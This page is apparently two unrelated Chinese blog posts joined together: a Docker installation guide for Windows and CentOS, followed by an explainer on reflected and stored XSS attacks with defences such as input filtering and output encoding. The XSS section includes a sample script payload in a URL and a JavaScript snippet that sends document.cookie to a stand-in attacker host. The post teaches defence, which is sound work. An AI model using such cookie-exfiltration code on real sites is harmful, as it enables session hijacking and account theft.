k8s 八個字母
Docker是一個開源的引擎,可以輕松地為任何應用創建一個輕量級的、可移植的、自給自足的容器。開發者在筆記本上編譯測試通過的容器可以批量地在生產環境中部署,包括VMs(虛擬機)、 bare metal、OpenStack 集群和其他的基礎應用平臺。
使用Linux容器來部署應用程序被稱為容器化,容器化具有以下的優點:
win7或win8:下載需利用 docker toolbox 來安裝,國內可以使用阿里云的鏡像來下載,
下載地址:http://mirrors.aliyun.com/docker-toolbox/windows/docker-toolbox/
Windows 10 64位:必須啟用Hyper-V和Containers Windows功能。
選擇在電腦的“應用和功能”,找到“程序和功能”,再點“啟動或關閉Windows功能”將“Hyper-V”的選項都打勾。
到docker官網注冊用戶:
https://hub.docker.com/?overlay=onboarding,然后下載Docker Desktop到本地后運行安裝。
在本地打開安裝好的Docker Desktop ,直接默認下一步運行安裝。(這里主要以win10 為主)
1、安裝后需要進行重啟系統,記得保存文件!
2、重啟后運行時可能會提示“Hyper-V and Containers features are not enabled...”報錯,即Hyper-V和容器功能未啟用,需再次重啟。)
然后打開本地cmd(這里使用的是Cmder),運行docker --version查看是否正確安裝成功。
如果出現下面這種報錯:
這是因為docker服務沒有開啟,運行net start com.docker.service,再次查看時成功.
因為Docker 是服務器----客戶端架構。運行docker命令的時候,需要本機有 Docker 服務。其它的系統可以使用下面的命令啟動:
# service 命令的用法
$ sudo service docker start
# systemctl 命令的用法
$ sudo systemctl start docker
centos8安裝docker
一條命令就可以
curl -fsSL https://get.docker.com | bash -s docker --mirror Aliyun
檢查版本:運行docker --version查看是否正確安裝成功。
Docker 把應用程序及其依賴,打包在 image 文件里面。只有通過這個文件,才能生成 Docker 容器。image 文件可以看作是容器的模板。Docker 根據 image 文件生成容器的實例。同一個 image 文件,可以生成多個同時運行的容器實例。
查看下本機的所有image文件(現在里面是為空的)
$ docker image ls
刪除 image 文件
$ docker image rm [imageName]
現在,從 image 文件中找出 hello-world 文件,docker container run命令具有自動抓取 image 文件的功能。會生成一個正在運行的容器實例。當然,我們也可以直接運行該命令,省略掉前面的docker image pull命令。
上面的容器會輸出內容后自動停止運行,而有些提供服務的容器不會終止,需使用docker container kill [containerId] 命令終止。
查看容器:
$ docker container ls \ $ docker container ls --all
刪除容器:
$ docker container rm [containerID]
例如安裝一個NGINX服務器:(命令可以簡寫)
在本地運行http://localhost:8080/ 可以看到NGINX服務器已經正常開啟。
這個文章來源靈感是公司的項目在安全檢查的時候,發現了很多 SQL 注入的一些問題還有一些 XSS 攻擊問題,SQL 注入我們都是比較了解的,那么什么是 XSS 攻擊呢?測試反饋給我的時候我是一臉懵逼呀,現在我們就來說一下什么是 XSS 攻擊,以及我們怎么防止它的出現。
我當時聽到 XSS 攻擊的時候是一臉懵,但是,程序員咱們不就是就是解決問題的嘛,于是打開 Chrome ,百度!
百度百科給出的解釋是這樣的:
XSS 攻擊通常指的是通過利用網頁開發時留下的漏洞,通過巧妙的方法注入惡意指令代碼到網頁,使用戶加載并執行攻擊者惡意制造的網頁程序。這些惡意網頁程序通常是 JavaScript ,但實際上也可以包括 Java 、 VBScript 、ActiveX 、 Flash 或者甚至是普通的HTML。攻擊成功后,攻擊者可能得到包括但不限于更高的權限(如執行一些操作)、私密網頁內容、會話和 cookie 等各種內容。
XSS攻擊是Web攻擊中最常見的攻擊方法之一,它是通過對網頁注入可執行代碼且成功地被瀏覽器 執行,達到攻擊的目的,形成了一次有效XSS攻擊,一旦攻擊成功,它可以獲取用戶的聯系人列 表,然后向聯系人發送虛假詐騙信息,可以刪除用戶的日志等等,有時候還和其他攻擊方式同時實 施比如SQL注入攻擊服務器和數據庫、Click劫持、相對鏈接劫持等實施釣魚,它帶來的危害是巨大的,是web安全的頭號大敵。
其實反射型 XSS ,也叫非持久型 XSS ,是指發生請求時,XSS 代碼出現在請求URL中,作為參數提交到服務器,服務器解析并響應。響應結果中包含 XSS 代碼,最后瀏覽器解析并執行。從概念上可以看出,反射型 XSS 代碼是首先出現在URL中的,然后需要服務端解析,最后需要瀏覽器解析之后 XSS 代碼才能夠攻擊。
我們看一下 XSS 攻擊他是怎么使用 URL 來進行攻擊的。
具體流程:
舉個例子來說就像是這樣的,http://localhost:8080/helloController/search?name=<script>alert("hey!")</script>
而 XSS 存儲型攻擊,也叫持久型 XSS ,主要是將 XSS 代碼發送到服務器(不管是數據庫、內存還是文件系統等。),然后在下次請求頁面的時候就不用帶上 XSS 代碼了。最典型的就是留言板 XSS。用戶提交了一條包含 XSS 代碼的留言到數據庫。當目標用戶查詢留言時,那些留言的內容會從服務器解析之后加載出來。瀏覽器發現有 XSS 代碼,就當做正常的HTML和JS解析執行。XSS 攻擊就發生了。
這種存儲型攻擊一般就會用來竊取 Cookie,token,賬號和密碼這樣的數據,
就比如說,我們在頁面上寫內容的時候,A發了一篇文字,B回復的應該是文字才對,這時候B發送了一段文字,并且在內容里面嵌入了JS的代碼,這時候B的JS的代碼就會執行,比如在里面竊取你的Cookie等操作,這些都是有可能存在的。
還有的就是有一些網站,在本應該是圖片的地方他加上了Src,在你無意中惦記圖片的時候,就直接跳轉到某個網站下,這些屬于其實也是屬于XSS攻擊的。
就比如說他要獲取你的Cookie:
var i=document.createElement("img")
document.body.appendChild(i)
i.src="http://www.hackerserver.com/?c=" + document.cookie
就再圖片的后面給你加上了這個獲取你Cookie的方法,然后你在點擊到這個鏈接的時候,就會把Cookie的信息帶出來了。
也就是說,一旦滿足這條件的時候,就會出現XSS攻擊這種情況,那么,你的系統安全性將會受到嚴重的破壞。
其實XSS攻擊最主要發生的地方就是我們的HTML中,因為HTML是一種超文本標記語言,通過將一些字符特殊地對待來區別文本和標記,例如,小于符號(<)被看作是HTML標簽的開始,<title>與</title>之間的字符是頁面的標題等等。當動態頁面中插入的內容含有這些特殊字符(如<)時,用戶瀏覽器會將其誤認為是插入了HTML標簽,當這些HTML標簽引入了一段JavaScript腳本時,這些腳本程序就將會在用戶瀏覽器中執行。所以,當這些特殊字符不能被動態頁面檢查或檢查出現失誤時,就將會產生XSS漏洞。
我們說完到底什么是XSS攻擊之后,我們該說一下到底應該怎么去防范了。
1.入參字符過濾
比如說把輸入的一些不合法的東西都過濾掉,從而保證安全性。如移除用戶提交的的DOM屬性如onerror,移除用戶上傳的Style節點,<iframe>, <script>,<a>節點等
2.出參進行編碼
像一些常見的符號,如<>在輸出的時候要對其進行轉換編碼,這樣做瀏覽器是不會對該標簽進行解釋執行的,同時也不影響顯示效果。例如:對<>做編碼如:”<”用:”<”,”>”用:”>“來代替。
3.入參長度限制
xss攻擊要能達成往往需要較長的字符串,因此對于一些可以預期的輸入可以通過限制長度強制截斷來進行防御。
4.純前端渲染
純前端渲染的過程:
(1).瀏覽器先加載一個靜態 HTML,此 HTML 中不包含任何跟業務相關的數據。
(2).然后瀏覽器執行 HTML 中的 JavaScript。
(3).JavaScript 通過 Ajax 加載業務數據,調用 DOM API 更新到頁面上。
在純前端渲染中,我們會明確的告訴瀏覽器:下面要設置的內容是文本(.innerText),還是屬性(.setAttribute),還是樣式(.style)等等。瀏覽器不會被輕易的被欺騙,執行預期外的代碼了。
但純前端渲染還需注意避免 DOM 型 XSS 漏洞(例如 onload 事件和 href 中的 javascript:xxx 等,請參考下文”預防 DOM 型 XSS 攻擊“部分)。
在很多內部、管理系統中,采用純前端渲染是非常合適的。但對于性能要求高,或有 SEO 需求的頁面,我們仍然要面對拼接 HTML 的問題。
以上就是我想給大家講述的內容了,如果你們公司的系統還沒有做過XSS漏洞檢測,那么你就可以適當的把自己的代碼修改一下了,畢竟我們不是一點JS代碼都不寫的,你說呢?